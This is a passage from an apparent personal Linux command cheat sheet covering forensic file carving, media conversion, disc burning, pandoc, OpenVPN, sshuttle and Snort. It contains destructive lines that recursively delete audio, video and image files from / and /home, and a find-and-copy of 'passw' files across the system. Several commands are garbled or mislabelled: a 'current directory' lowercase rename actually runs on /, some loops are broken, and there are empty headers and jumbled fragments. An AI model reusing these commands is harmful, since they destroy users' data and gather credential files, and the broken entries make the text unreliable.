  7474.  
  7475.  
  7476. ##-========================================================-##
  7477. ##   [+] Create Slack Image Using dls (for FAT and NTFS)
  7478. ##-========================================================-##
  7479. blkls -s $imagefile.dd > $imagefile.slack
  7480.  
  7481.  
  7482. ##-===============================================================-##
  7483. ##   [+] Foremost Carves out files based on headers and footers
  7484. ##-===============================================================-##
  7485. foremost -o $outputdir -c /etc/foremost.conf $File.img
  7486.  
  7487.  
  7488. ##-===================================================================-##
  7489. ##   [+] Sigfind - search for a binary value at a given offset (-o)
  7490. ##-===================================================================-##
  7491. sigfind $hexvalue -o $offset $File.img
  7492.  
  7493.  
  7494.  
  7495.  
  7496.  
  7497.  
  7498.  
  7499.  
  7500.  
  7501.  
  7502.  
  7503.  
  7504.  
  7505.  
  7506.  
  7507.  
  7508.  
  7509.  
  7510.  
  7511.  
  7512.  
  7513. zipdetails
  7514.  
  7515.  
  7516.  
  7517. zipcloak -
  7518.  
  7519. zip_stat (3)         - get information about file
  7520.  
  7521. encrypt entries in a zipfile
  7522. zipdetails (1)       - display the internal structure of zip files
  7523. zipgrep (1)          - search files in a ZIP archive for lines matching a pattern
  7524. zipinfo (1)          - list detailed information about a ZIP archive
  7525.  
  7526.  
  7527.  
  7528.  
  7529.  
  7530. ffmpeg -i contaminated.mov -acodec copy -vcodec copy clean.mov
  7531.  
  7532.  
  7533.  
  7534.  
  7535. ##-===================================================================-##
  7536. ##   [+]
  7537. ##-=============================================================-##
  7538. ffmpeg -i $File.mp4 -map 0 -map_metadata 0:5:0 -c copy $File.mp4
  7539.  
  7540.  
  7541. ##-===================================================================-##
  7542. ##   [+]
  7543. ##-=============================================================-##
  7544. ffmpeg -i $File.mov -acodec copy -vcodec copy $File.mov
  7545.  
  7546.  
  7547.  
  7548. ##-=======================================================================-##
  7549. ##   [+] Convert a MOV captured from a digital camera to a smaller AVI
  7550. ##-=======================================================================-##
  7551. ffmpeg -i $File.mov -b 4096k -vcodec msmpeg4v2 -acodec pcm_u8 $File.avi
  7552.  
  7553.  
  7554. ##-===================================================================-##
  7555. ##   [+]
  7556. ##-=======================================================================-##
  7557. ffmpeg -v info -i stego.mp3 -f null     ## to recode the file and throw away the result
  7558.  
  7559.  
  7560.  
  7561. ##-=====================================-##
  7562. ##   [+] Rip audio from a video file.
  7563. ##-=====================================-##
  7564. mplayer -ao pcm -vo null -vc dummy -dumpaudio -dumpfile $OutFile $InFile
  7565.  
  7566.  
  7567. ##-=======================================================-##
  7568. ##   [+] Record a screencast and convert it to an mpeg
  7569. ##-=======================================================-##
  7570. ffmpeg -f x11grab -r 25 -s 800x600 -i :0.0 $File.mpg
  7571.  
  7572.  
  7573. ##-==========================================-##
  7574. ##   [+] Capture video of a linux desktop
  7575. ##-==========================================-##
  7576. ffmpeg -y -f alsa -ac 2 -i pulse -f x11grab -r 30 -s `xdpyinfo | grep 'dimensions:'|awk '{print $2}'` -i :0.0 -acodec pcm_s16le $File.wav -an -vcodec libx264 -vpre lossless_ultrafast -threads 0 output.mp4
  7577.  
  7578.  
  7579. ##-============================================================-##
  7580. ##   [+] Convert all .flac from a folder subtree In 320Kb mp3
  7581. ##-============================================================-##
  7582. find . -type f -iname '*.flac' | while read FILE; do FILENAME="${FILE%.*}"; flac -cd "$FILE" | lame -b 320 - "${FILENAME}.mp3"; done
  7583.  
  7584.  
  7585.  
  7586. # Dumping Audio stream from flv (using ffmpeg)
  7587. ffmpeg -i <filename>.flv -vn <filename>.mp3
  7588.  
  7589.  
  7590. # Edit video by cutting the part you like without transcoding.
  7591. mencoder -ss <start point> -endpos <time from start point> -oac copy -ovc copy <invid> -o <outvid>
  7592.  
  7593.  
  7594.  
  7595. ##-============================================================-##
  7596. ##   [+] Substitute audio track of video file using mencoder
  7597. ##-============================================================-##
  7598. mencoder -ovc copy -audiofile $File.mp3 -oac copy $File.avi -o $File.avi
  7599.  
  7600.  
  7601. ##-=====================================================-##
  7602. ##   [+] Remove sound from video file using mencoder
  7603. ##-=====================================================-##
  7604. mencoder -ovc copy -nosound $File.avi -o $File.avi
  7605.  
  7606.  
  7607. ##-========================================-##
  7608. ##   [+] Concatenate (join) video files
  7609. ##-========================================-##
  7610. mencoder -forceidx -ovc copy -oac copy -o $OutFile.avi $File1.avi $File2.avi
  7611.  
  7612.  
  7613. ##-================================-##
  7614. ##   [+] Android PNG screenshot
  7615.  
  7616. adb pull /dev/graphics/fb0 /dev/stdout | ffmpeg -vframes 1 -vcodec rawvideo -f rawvideo -pix_fmt rgb32 -s 480x800 -i pipe:0 -f image2 -vcodec png screenshot.png
  7617.  
  7618.  
  7619.  
  7620. ##-===============================================-##
  7621. ##   [+] Stream YouTube URL directly to mplayer
  7622. ##-===============================================-##
  7623. mplayer -fs -cookies -cookies-file /tmp/cookie.txt
  7624. youtube-dl -g --cookies /tmp/cookie.txt "http://www.youtube.com/watch?v=$VideoID"
  7625.  
  7626.  
  7627.  
  7628. ##-======================================-##
  7629. ##   [+]
  7630. ##-======================================-##
  7631. cdrecord -scanbus
  7632. cdrecord dev=ATA; -scanbus
  7633.  
  7634.  
  7635. ##-======================================-##
  7636. ##   [+]
  7637. ##-======================================-##
  7638. cdparanoia -B                   ## Rip CD
  7639.  
  7640.  
  7641. ##-======================================-##
  7642. ##   [+]
  7643. ##-======================================-##
  7644. dvdrecord -dao speed=2 dev=ATA:1,0,0 $File.iso
  7645. mkisofs -dev-video -udf -o $File.iso $Dir/
  7646.  
  7647.  
  7648. ##-======================================-##
  7649. ##   [+]
  7650. ##-======================================-##
  7651. cdrao write --device /dev/sr0 $File.cue
  7652.  
  7653.  
  7654. ##-==========================================-##
  7655. ##   [+] burn an ISO image to writable CD
  7656.  
  7657. wodim cdimage.iso
  7658.  
  7659.  
  7660. ##-===================================-##
  7661. ##   [+] erase content from a cdrw
  7662. ##-===================================-##
  7663. cdrecord -v -blank=all -force
  7664.  
  7665.  
  7666. ##-=================================================-##
  7667. ##   [+] Record MP3 audio via ALSA using ffmpeg
  7668. ##-=================================================-##
  7669. ffmpeg -f alsa -ac 2 -i hw:1,0 -acodec libmp3lame -ab 96k $File.mp3
  7670.  
  7671.  
  7672. ##-========================================================================-##
  7673. ##   [+] Print a list of the 30 last modified mp3s sorted by last first
  7674. ##-========================================================================-##
  7675. find ~/$Dir -daystart -mtime -60 -name *mp3 -printf "%T@\t%p\n" | sort -f -r | head -n 30 | cut -f 2
  7676.  
  7677.  
  7678.  
  7679. ##-===================================-##
  7680. ##   [+] convert wav files to flac
  7681. ##-===================================-##
  7682. flac --best *.wav
  7683.  
  7684.  
  7685.  
  7686. ##-=================================================================-##
  7687. ##  [+] Convert all flac files in dir to mp3 320kbps using ffmpeg
  7688. ##-=================================================================-##
  7689. for FILE in *.flac; do ffmpeg -i "$FILE" -b:a 320k "${FILE[@]/%flac/mp3}"; done;
  7690.  
  7691.  
  7692.  
  7693. flac --decode $File.flac $File.wav
  7694. flav $File.wav $File.flac
  7695.  
  7696.  
  7697. lame --decode $File.mp3 $File.wav
  7698. lame -b 128 -B 256 --vbr-new $File.wav $File.mp3
  7699. lame -b 192 $File.wav $File.mp3
  7700.  
  7701.  
  7702. oggenc -b 256 $File.wav
  7703.  
  7704.  
  7705. sox $File.wav -c 2 $File.wav
  7706.  
  7707.  
  7708. sox $File.wav -r 44100 $File.wav resample       ## Resample WAV file to a 44.1 kHz sample rate
  7709.  
  7710.  
  7711.  
  7712. rec -t .wav $File.wav
  7713. rec -r 44100 $File.wav
  7714. rec -r 44100 -c 2 $File.wav
  7715.  
  7716. id3ed -s "" -n "" -a "" $File.mp3
  7717. id3v2 --TOAL "$Name" $Name.mp3
  7718.  
  7719. ##-====================================================================-##
  7720. ##   [+] Using mplayer to play the audio only but suppress the video
  7721. ##-====================================================================-##
  7722. mplayer -novideo something.mpg
  7723.  
  7724.  
  7725. mplayer -fs dvd://
  7726. mplayer -sub $File.sub $File.avi
  7727. mplayer -monitoraspect 5:3
  7728.  
  7729. mplayer -dvd-device $Dir
  7730. mplayer $File.iso
  7731. mplayer -vo help
  7732.  
  7733. mplayer -vf cropdetect
  7734. mplayer crop=480:416:0:80
  7735. aa:width=250:height=80
  7736.  
  7737.  
  7738. mplayer dvd:// -ss
  7739.  
  7740.  
  7741. mplayer rtsp://site.com/steam
  7742. mplayer url -dumpsteam -dumpfile $File
  7743. mplayer /dev/video0
  7744. cat /dev/video0 > $File.mpg
  7745. mencoder dvd:// -i $File.avi -ovc lac -lavcopts vcodec=mpeg4:vhq:vbitrate=1800 -oac mp3lame -lameopts cbr:vol=3 -aid 128
  7746.  
  7747.  
  7748. ##-======================================-##
  7749. ##   [+]
  7750. ##-======================================-##
  7751. tcprobe -i $File.mp3
  7752.  
  7753.  
  7754. ##-======================================-##
  7755. ##   [+]
  7756. ##-======================================-##
  7757. locate -i *.mp3
  7758. locate -i -r '\.(mp3|ogg|wav)$'
  7759.  
  7760.  
  7761. ##-======================================-##
  7762. ##   [+]
  7763. ##-======================================-##
  7764. find / iname "*.mp3"
  7765. find / -iregex '.*\.\(mp3\|ogg\|wav\)$'
  7766. find ~ -iname ".mp3"
  7767. find ~/mp3/ -iname '*.mp3' -exec mv "{}" /tmp/ \;
  7768.  
  7769.     find / -name '*.mp3' -type f -delete
  7770.     find / -name '*.mov' -type f -delete
  7771.     find / -name '*.mp4' -type f -delete
  7772.     find / -name '*.avi' -type f -delete
  7773.     find / -name '*.mpg' -type f -delete
  7774.     find / -name '*.mpeg' -type f -delete
  7775.     find / -name '*.flac' -type f -delete
  7776.     find / -name '*.m4a' -type f -delete
  7777.     find / -name '*.flv' -type f -delete
  7778.     find / -name '*.ogg' -type f -delete
  7779.     find /home -name '*.gif' -type f -delete
  7780.     find /home -name '*.png' -type f -delete
  7781.     find /home -name '*.jpg' -type f -delete
  7782.     find /home -name '*.jpeg' -type f -delete
  7783.  
  7784.  
  7785.  
  7786.  
  7787. find /$Dir/ -name "*.doc" -type f -exec mv {} "/$Dir/Documents/" \;
  7788. find /$Dir/ -name "*.docx" -type f -exec mv {} "/$Dir/Documents/" \;
  7789. find /$Dir/ -name "*.odt"  -type f -exec mv {} "/$Dir/Documents/" \;
  7790. find /$Dir/ -name "*.pdf"  -type f -exec mv {} "/$Dir/Pdfs/" \;
  7791. find /$Dir/ -name "*.mbox" -type f -exec mv {} "/$Dir/Mbox/"  \;
  7792. find /$Dir/ -name "*.png"  -type f -exec mv {} "/$Dir/Images/" \;
  7793. find /$Dir/ -name "*.jpg"  -type f -exec mv {} "/$Dir/Images/" \;
  7794. find /$Dir/ -name "*.jpeg" -type f -exec mv {} "/$Dir/Images/" \;
  7795. find /$Dir/ -name "*.gif"  -type f -exec mv {} "/$Dir/Images/" \;
  7796. find /$Dir/ -name "*.avi"  -type f -exec mv {} "/$Dir/Videos/" \;
  7797. find /$Dir/ -name "*.mpeg" -type f -exec mv {} "/$Dir/Videos/" \;
  7798. find /$Dir/ -name "*.mp4"  -type f -exec mv {} "/$Dir/Videos/" \;
  7799. find /$Dir/ -name "*.mkv"  -type f -exec mv {} "/$Dir/Videos/" \;
  7800. find /$Dir/ -name "*.webm" -type f -exec mv {} "/$Dir/Videos/" \;
  7801. find /$Dir/ -name "*.wmv"  -type f -exec mv {} "/$Dir/Videos/" \;
  7802. find /$Dir/ -name "*.flv"  -type f -exec mv {} "/$Dir/Videos/" \;
  7803. find /$Dir/ -name "*.mp3"  -type f -exec mv {} "/$Dir/Sound/" \;
  7804. find /$Dir/ -name "*.wav"  -type f -exec mv {} "/$Dir/Sound/" \;
  7805. find /$Dir/ -name "*.deb"  -type f -exec mv {} "/$Dir/Debians/" \;
  7806. find /$Dir/ -name "*.bin"  -type f -exec mv {} "/$Dir/binaries/" \;
  7807. find /$Dir/ -name "*.exe"  -type f -exec mv {} "/$Dir/exe/" \;
  7808. find /$Dir/ -name "*.rpm"  -type f -exec mv {} "/$Dir/rpms/" \;
  7809. find /$Dir/ -name "*.conf"  -type f -exec mv {} "/$Dir/conf_files" \;
  7810. find /$Dir/ -name "*.iso"  -type f -exec mv {} "/$Dir/ISO/" \;
  7811. find /$Dir/ -name "*.xls"  -type f -exec mv {} "/$Dir/Excel/" \;
  7812. find /$Dir/ -name "*.xlsx" -type f -exec mv {} "/$Dir/Excel/" \;
  7813. find /$Dir/ -name "*.csv"  -type f -exec mv {} "/$Dir/Excel/" \;
  7814. find /$Dir/ -name "*.ods"  -type f -exec mv {} "/$Dir/Excel/" \;
  7815. find /$Dir/ -name "*.ppt"  -type f -exec mv {} "/$Dir/Presentation/" \;
  7816. find /$Dir/ -name "*.pptx" -type f -exec mv {} "/$Dir/Presentation/" \;
  7817. find /$Dir/ -name "*.odp"  -type f -exec mv {} "/$Dir/Presentation/" \;
  7818. find /$Dir/ -name "*.html" -type f -exec mv {} "/$Dir/Web_Files/" \;
  7819. find /$Dir/ -name "*.htm"  -type f -exec mv {} "/$Dir/Web_Files/" \;
  7820. find /$Dir/ -name "*.jsp"  -type f -exec mv {} "/$Dir/Web_Files/" \;
  7821. find /$Dir/ -name "*.xml"  -type f -exec mv {} "/$Dir/Web_Files/" \;
  7822. find /$Dir/ -name "*.css"  -type f -exec mv {} "/$Dir/Web_Files/" \;
  7823. find /$Dir/ -name "*.js"   -type f -exec mv {} "/$Dir/Web_Files/" \;
  7824. find /$Dir/ -name "*.zip"  -type f -exec mv {} "/$Dir/Archives/" \;
  7825. find /$Dir/ -name "*.tar"  -type f -exec mv {} "/$Dir/Archives/" \;
  7826. find /$Dir/ -name "*.rar"  -type f -exec mv {} "/$Dir/Archives/" \;
  7827. find /$Dir/ -name "*.gzip" -type f -exec mv {} "/$Dir/Archives/" \;
  7828. find /$Dir/ -name "*.tar.gz" -type f  -exec mv {} "/$Dir/Archives/" \;
  7829. find /$Dir/ -name "*.7z"   -type f -exec mv {} "/$Dir/Archives/" \;
  7830. find /$Dir/ -name "*.bz"   -type f -exec mv {} "/$Dir/Archives/" \;
  7831. find /$Dir/ -name "*.bz2"  -type f -exec mv {} "/$Dir/Archives" \;
  7832. find /$Dir/ -name "*.*"    -type f -exec mv {} "/$Dir/Others/" \;
  7833.  
  7834.  
  7835.  
  7836.  
  7837.  
  7838. ##-======================================-##
  7839. ##   [+]
  7840. ##-======================================-##
  7841. for i in *.wav; do oggenc -b 192 $i; done;
  7842.  
  7843.  
  7844.  
  7845. ##-======================================-##
  7846. ##   [+]
  7847. ##-======================================-##
  7848. for i in *.wav; do j=`echo$i | sed -e 's/\.wav/.mp3/'`; lame -b 192 $i $j done;
  7849.  
  7850.  
  7851.  
  7852. ##-======================================-##
  7853. ##   [+]
  7854. ##-======================================-##
  7855. for file in *.mp3; do mv "${file%.txt}{.txt,.xml}"; done
  7856.  
  7857.  
  7858.  
  7859. ##-==============================================-##
  7860. ##   [+] Sort movies by length, longest first
  7861. ##-==============================================-##
  7862. for i in *.avi; do echo -n "$i:";totem-gstreamer-video-indexer $i | grep DURATION | cut -d "=" -f 2 ; done | sort -t: -k2 -r
  7863.  
  7864.  
  7865. ##-=============================================================-##
  7866. ##   [+] Convert filenames in current directory to lowercase
  7867. ##-=============================================================-##
  7868. find / -depth -exec rename 's/(.*)\/([^\/]*)/$1\/\L$2/' {} \;
  7869.  
  7870.  
  7871. ## ------------------------------------------------------- ##
  7872. ##   [?] Replace spaces in filenames with underscores
  7873. ## ------------------------------------------------------- ##
  7874. rename 's/ /_/g' *
  7875.  
  7876.  
  7877.  
  7878.  
  7879. # Remove comments from files
  7880. sed -e '/^#/d' -e 's/#.*$//' in
  7881.  
  7882. # Print all lines between two line numbers
  7883. awk 'NR >= 3 && NR <= 6' /path/to/file
  7884.  
  7885.  
  7886.  
  7887. ##-===============================-##
  7888. ##   [+] Bash Pause Function:
  7889. ##-===============================-##
  7890. read -p "Press enter to continue.."
  7891.  
  7892.  
  7893. ## ---------------------------------------------------------- ##
  7894. ##   [?] Capitalize first letter of each word in a string
  7895. ## ---------------------------------------------------------- ##
  7896. read -ra words <<< "<sentence>" && echo "${words[@]^}"
  7897.  
  7898.  
  7899.  
  7900. # Grab a list of MP3s out of Firefoxs cache
  7901. for i in `ls ~/.mozilla/firefox/*/Cache`; do file $i | grep -i mpeg | awk '{print $1}' | sed s/.$//; done
  7902.  
  7903.  
  7904. # embed referred images in HTML files
  7905. grep -ioE "(url\(|src=)['\"]?[^)'\"]*" a.html | grep -ioE "[^\"'(]*.(jpg|png|gif)" | while read l ; do sed -i "s>$l>data:image/${l/[^.]*./};base64,`openssl enc -base64 -in $l| tr -d '\n'`>" a.html ; done;
  7906.  
  7907. # Extract title from HTML files
  7908. awk 'BEGIN{IGNORECASE=1;FS="<title>|</title>";RS=EOF} {print $2}' file.html
  7909.  
  7910. # nice disk usage, sorted by size, see description for full command
  7911. du -sk ./* | sort -nr
  7912.  
  7913. # Sort the size usage of a directory tree by gigabytes, kilobytes, megabytes, then bytes.
  7914. dh() { du -ch --max-depth=1 "${@-.}"|sort -h }
  7915.  
  7916.  
  7917. # Mouse Tracking
  7918. while true; do xdotool getmouselocation | sed 's/x:\(.*\) y:\(.*\) screen:.*/\1, \2/' >> ./mouse-tracking; sleep 10; done
  7919.  
  7920. # get xclip to own the clipboard contents
  7921. xclip -o -selection clipboard | xclip -selection clipboard
  7922.  
  7923. # List the size (in human readable form) of all sub folders from the current location
  7924. du -sch ./*
  7925.  
  7926. # Analyse compressed Apache access logs for the most commonly requested pages
  7927. zcat access_log.*.gz | awk '{print $7}' | sort | uniq -c | sort -n | tail -n 20
  7928.  
  7929. # Find pages returning 404 errors in apache logs
  7930. awk '$9 == 404 {print $7}' access_log | uniq -c | sort -rn | head
  7931.  
  7932.  
  7933. # Send a local file via email
  7934. mutt your@email_address.com -s "Message Subject Here" -a attachment.jpg </dev/null
  7935.  
  7936.  
  7937.  
  7938.  
  7939. Find and copy files
  7940.  
  7941. find / -iname "passw" -print0 | xargs -I {} cp {} /new/path
  7942. find / -iname "passw" | xargs -I {} cp {} /new/path
  7943.  
  7944.  
  7945.  
  7946. # Find jpeg images and copy them to a central location
  7947. find . -iname "*.jpg" -print0 | tr '[A-Z]' '[a-z]' | xargs -0 cp --backup=numbered -dp -u --target-directory {location} &
  7948.  
  7949.  
  7950.  
  7951.  
  7952. tagmp3 set "%A:Pink Floyd %a:The Wall %t? %T?" *.mp3
  7953.  
  7954.  
  7955.  
  7956.  
  7957. tagmp3 move "/home/foo/mp3/%A/%a/%T-%t.mp3" *.mp3
  7958.  
  7959. tagmp3 move "%A-%t.mp3" *.mp3
  7960.  
  7961.  
  7962.  
  7963.  
  7964.  
  7965.  
  7966.  
  7967.  
  7968. # See your current RAM frequency
  7969. /usr/sbin/dmidecode | grep -i "current speed"
  7970.  
  7971.  
  7972.  
  7973. # List your largest installed packages.
  7974. dpkg --get-selections | cut -f1 | while read pkg; do dpkg -L $pkg | xargs -I'{}' bash -c 'if [ ! -d "{}" ]; then echo "{}"; fi' | tr '\n' '\000' | du -c --files0-from - | tail -1 | sed "s/total/$pkg/"; done
  7975.  
  7976. # print crontab entries for all the users that actually have a crontab
  7977. for USER in `cut -d ":" -f1 </etc/passwd`; do crontab -u ${USER} -l 1>/dev/null 2>&1; if [ ! ${?} -ne 0 ]; then echo -en "--- crontab for ${USER} ---\n$(crontab -u ${USER} -l)\n"; fi; done
  7978.  
  7979.  
  7980.  
  7981.  
  7982.  
  7983.  
  7984.  
  7985. # Execute a command at a given time
  7986. echo "ls -l" | at midnight
  7987.  
  7988.  
  7989. # An alarm clock using xmms2 and at
  7990. at 6:00 <<< "xmms2 play"
  7991.  
  7992.  
  7993.  
  7994.  
  7995.  
  7996.  
  7997.  
  7998.  
  7999.  
  8000.  
  8001.  
  8002. ##-===========================================-##
  8003. ##   [+] show top 10 process eating memory
  8004. ##-===========================================-##
  8005. alias psmem='ps auxf | sort -nr -k 4 | head -10'
  8006.  
  8007.  
  8008. ##-=========================================-##
  8009. ##   [+] show top 10 process eating CPU
  8010. ##-=========================================-##
  8011. alias pscpu='ps auxf | sort -nr -k 3 | head -10'
  8012.  
  8013.  
  8014. ##-=============================-##
  8015. ##   [+] Convert PDF to JPG
  8016. ##-=============================-##
  8017. for file in `ls *.pdf`; do convert -verbose -colorspace RGB -resize 800 -interlace none -density 300 -quality 80 $File `echo $File | sed 's/\.pdf$/\.jpg/'`; done
  8018.  
  8019.  
  8020. # Merge PDFs into single file
  8021. gs -q -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=$File.pdf $File.pdf $File.pdf ...
  8022.  
  8023.  
  8024. convert -verbose -size
  8025.  
  8026. ##-========================================================-##
  8027. ##   [+] Save an HTML page, and covert it to a .pdf file
  8028. ##-========================================================-##
  8029. wget $URL | htmldoc --webpage -f "$URL".pdf - ; xpdf "$URL".pdf &
  8030.  
  8031.  
  8032. ##-========================================================-##
  8033. ##   [+] get all pdf and zips from a website using wget
  8034. ##-========================================================-##
  8035. wget --reject html,htm --accept pdf,zip -rl1 $URL
  8036.  
  8037.  
  8038. ##-==========================================-##
  8039. ##   [+] Create a pdf version of a manpage
  8040. ##-==========================================-##
  8041. man -t $Man | ps2pdf - $File.pdf
  8042.  
  8043.  
  8044.  
  8045. # make image semi-transparent
  8046. convert $File.png -alpha set -channel A -fx 0.5 $File.png
  8047.  
  8048. convert
  8049. convert -size 640x480
  8050.  
  8051.  
  8052.  
  8053. # Convert images to a multi-page pdf
  8054. convert -adjoin -page A4 *.jpeg $File.pdf
  8055.  
  8056.  
  8057.  
  8058. gm mogrify -format png *.webp       ## Convert webp --> PNG
  8059. gm mogrify -format jpeg *.webp      ## Convert webp --> JPEG
  8060. gm mogrify -format jpeg *.jpg       ## Convert JPG --> JPEG
  8061. gm mogrify -format jpg *.png        ## Convert PNG --> JPG
  8062. gm mogrify -format jpeg *.png       ## Convert PNG --> JPEG
  8063. gm mogrify -format png *.jpeg       ## Convert JPEG --> PNG
  8064. gm mogrify -format png *.jpg        ## Convert JPG --> PNG
  8065.  
  8066. echo "##-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-##"
  8067. echo "    [+] Convert A Markdown Document To PDF:        "
  8068. echo "##-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-##"
  8069. pandoc -o $File.pdf $File.md
  8070.  
  8071.  
  8072. echo "##-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-##"
  8073. echo "    [+] Convert Docx to Markdown with Pandoc:"
  8074. echo "##-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-##"
  8075. pandoc -s $File.docx -t markdown -o $File.md
  8076.  
  8077.  
  8078. echo "##-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-##"
  8079. echo "    [+] Convert Text File --> PDF File:      "
  8080. echo "##-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-##"
  8081. pandoc $File.txt -o $File.pdf
  8082.  
  8083.  
  8084. echo "##-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-##"
  8085. echo "    [+] Convert Markdown File --> PDF File:      "
  8086. echo "##-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-##"
  8087. pandoc $File.md -s -o $Output.pdf               ## create a PDF
  8088.  
  8089.  
  8090. echo "##-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-##"
  8091. echo "    [+] EPUB ebook --> PDF:"
  8092. echo "##-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-##"
  8093. pandoc $File.epub -o $File.pdf
  8094.  
  8095.  
  8096. echo "##-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-##"
  8097. echo "    [+] Convert HTML --> TEXT:         "
  8098. echo "##-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-##"
  8099. pandoc -s $File.html -o $File.txt
  8100.  
  8101.  
  8102. echo "##-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-##"
  8103. echo "    [+] Convert A Whole Directory of files from Markdown to RTF        "
  8104. echo "##-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-##"
  8105. for f in *.txt; do pandoc "$f" -s -o "${f%.txt}.rtf"; done
  8106.  
  8107.  
  8108. ##-=============================================================-##
  8109. ##   [+] use the native ATAPI interface which is found with:
  8110. ##-=============================================================-##
  8111. cdrecord dev=ATAPI ‐scanbus
  8112.  
  8113.  
  8114. ##-======================================-##
  8115. ##   [+]
  8116. ##-======================================-##
  8117. cdrecord ‐scanbus
  8118. cdrecord dev=ATAPI ‐scanbus
  8119.  
  8120.  
  8121. ##-======================================-##
  8122. ##   [+]
  8123. ##-======================================-##
  8124. growisofs ‐dvd‐compat ‐Z /dev/dvd=$File.iso             ## Burn existing iso image
  8125. growisofs ‐dvd‐compat ‐Z /dev/dvd ‐J ‐R /p/to/data          ## Burn directly
  8126.  
  8127.  
  8128.  
  8129.  
  8130.  
  8131.  
  8132. ##-======================================-##
  8133. ##   [+]
  8134. ##-======================================-##
  8135. pam-auth-update --enable libpam-net-usernet
  8136.  
  8137.  
  8138. ##-======================================-##
  8139. ##   [+]
  8140. ##-======================================-##
  8141. for cipher in `openvpn --show-tls | grep TLS-`;
  8142. do echo $cipher;
  8143. openvpn --client --remote <TargetIP> --auth-user-pass --dev tun --ca ca.crt --auth-nocache --comp-lzo --tls-cipher $cipher;
  8144. done
  8145.  
  8146.  
  8147. openvpn --client --remote <TargetIP> --auth-user-pass login.conf --dev tun --ca ca.crt --auth-nocache --comp-lzo --tls-cipher <CorrectCipherSuite>
  8148.  
  8149. openvpn --client --remote <TargetIP> --auth-user-pass login.conf --dev tun --ca ca.crt --auth-nocache --comp-lzo --tls-cipher <CorrectCipherSuite>
  8150.  
  8151.  
  8152.  
  8153.  
  8154.  
  8155.  
  8156. Using tls-auth requires that you generate a shared-secret key
  8157.  
  8158. openvpn --genkey --secret ta.key
  8159.  
  8160.  
  8161. In the server configuration, add:
  8162.  
  8163.     tls-auth ta.key 0
  8164.  
  8165. In the client configuration, add:
  8166.  
  8167.     tls-auth ta.key 1
  8168.  
  8169.  
  8170.  
  8171.  
  8172. ##-====================================-##
  8173. ##   [+] client configuration file:
  8174. ##-====================================-##
  8175. /etc/openvpn/client/corpvpn.conf
  8176.  
  8177.  
  8178. systemctl start openvpn-client@corpvpn
  8179.  
  8180.  
  8181. ##-=============================================================-##
  8182. ##   [+] view the server configurations journal
  8183. ##   [+] only listing entries from yesterday and until today:
  8184. ##-=============================================================-##
  8185. journalctl --since yesterday -u openvpn-server@tun0
  8186.  
  8187.  
  8188.  
  8189. ##-============================================================-##
  8190. ##   [+] view the OpenVPN journal log use a similar syntax:
  8191. ##-============================================================-##
  8192. journalctl -u openvpn-client@$CONFIGNAME
  8193.  
  8194. journalctl -u openvpn-server@$CONFIGNAME
  8195.  
  8196.  
  8197.  
  8198. ##-==============================================================-##
  8199. ##  [+] Retrieve dropped connections from firewalld journaling
  8200. ##-==============================================================-##
  8201. journalctl -b | grep -o "PROTO=.*" | sed -r 's/(PROTO|SPT|DPT|LEN)=//g' | awk '{print $1, $3}' | sort | uniq -c
  8202.  
  8203.  
  8204.  
  8205.  
  8206.  
  8207.  
  8208.  
  8209.  
  8210.  
  8211.  
  8212. ##-=========================================-##
  8213. ##                      [+] sshuttle VPN:
  8214. ##-=========================================-##
  8215. ## ------------------------------------------------------- ##
  8216. ##  git clone https://github.com/apenwarr/sshuttle
  8217. ## ------------------------------------------------------- ##
  8218. ##        [?] sshuttle VPN Inner Workings:
  8219. ## ------------------------------------------------------- ##
  8220. ##       > Disassembles TCP Packets,
  8221. ##       > Sends Them Over SSH,
  8222. ##       > ReAssembles & Forwards Packets,
  8223. ## ------------------------------------------------------- ##
  8224. sshuttle -r $Username@$SSHServer 0/0
  8225.  
  8226.  
  8227.  
  8228. ## ------------------------------------------------------------------ ##
  8229. ##   [?]  Shuttle - Traffic forwarded over SSH:
  8230. ## ------------------------------------------------------------------ ##
  8231. sshuttle -vr user@192.168.207.57 1X0.1X.0.0/16
  8232.  
  8233.  
  8234. mkdir /var/log/snort
  8235. chown root:snort /etc/snort/snort.conf
  8236. chmod 640 /etc/snort/snort.conf
  8237. sudo chown -R snort:snort /etc/snort
  8238. sudo chown -R snort:snort /var/log/snort
  8239.  
  8240.  
  8241. ##-======================================================-##
  8242. ##    [+]  system logger by sending it a SIGUSR1 signal
  8243. ##-======================================================-##
  8244. kill -USR1 `pidof snort`
  8245.  
  8246.  
  8247. systemctl enable snort
  8248. systemctl enable barnyard2
  8249.  
  8250.  
  8251. ##-=======================================-##
  8252. ##   [+] Running Snort In Sniffer Mode:
  8253. ##-=======================================-##
  8254. snort -e            ##  print a summary of the
  8255.                         ##  link-level (Ethernet) headers
  8256.  
  8257.  
  8258.  
  8259. snort -i eth0 -vde
  8260.  
  8261. snort -dve -l $LogFile -c /etc/snort/snort.conf
  8262.  
  8263. snort -q -i eth0 -c -A console /etc/snort/snort.conf
  8264.  
  8265.  
  8266.  
  8267. snort -vQ -c /usr/local/etc/snort/snort-raj.conf -A fast -h 192.168.3.0/24 -s --daq ipfw --daq-var port=8100 --alert-before-pass
  8268.  
  8269. snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
  8270.  
  8271.  
  8272.  
  8273. snort -r $File.pcap -c /etc/snort/snort.read.conf -l .
  8274.  
  8275.  
  8276.  
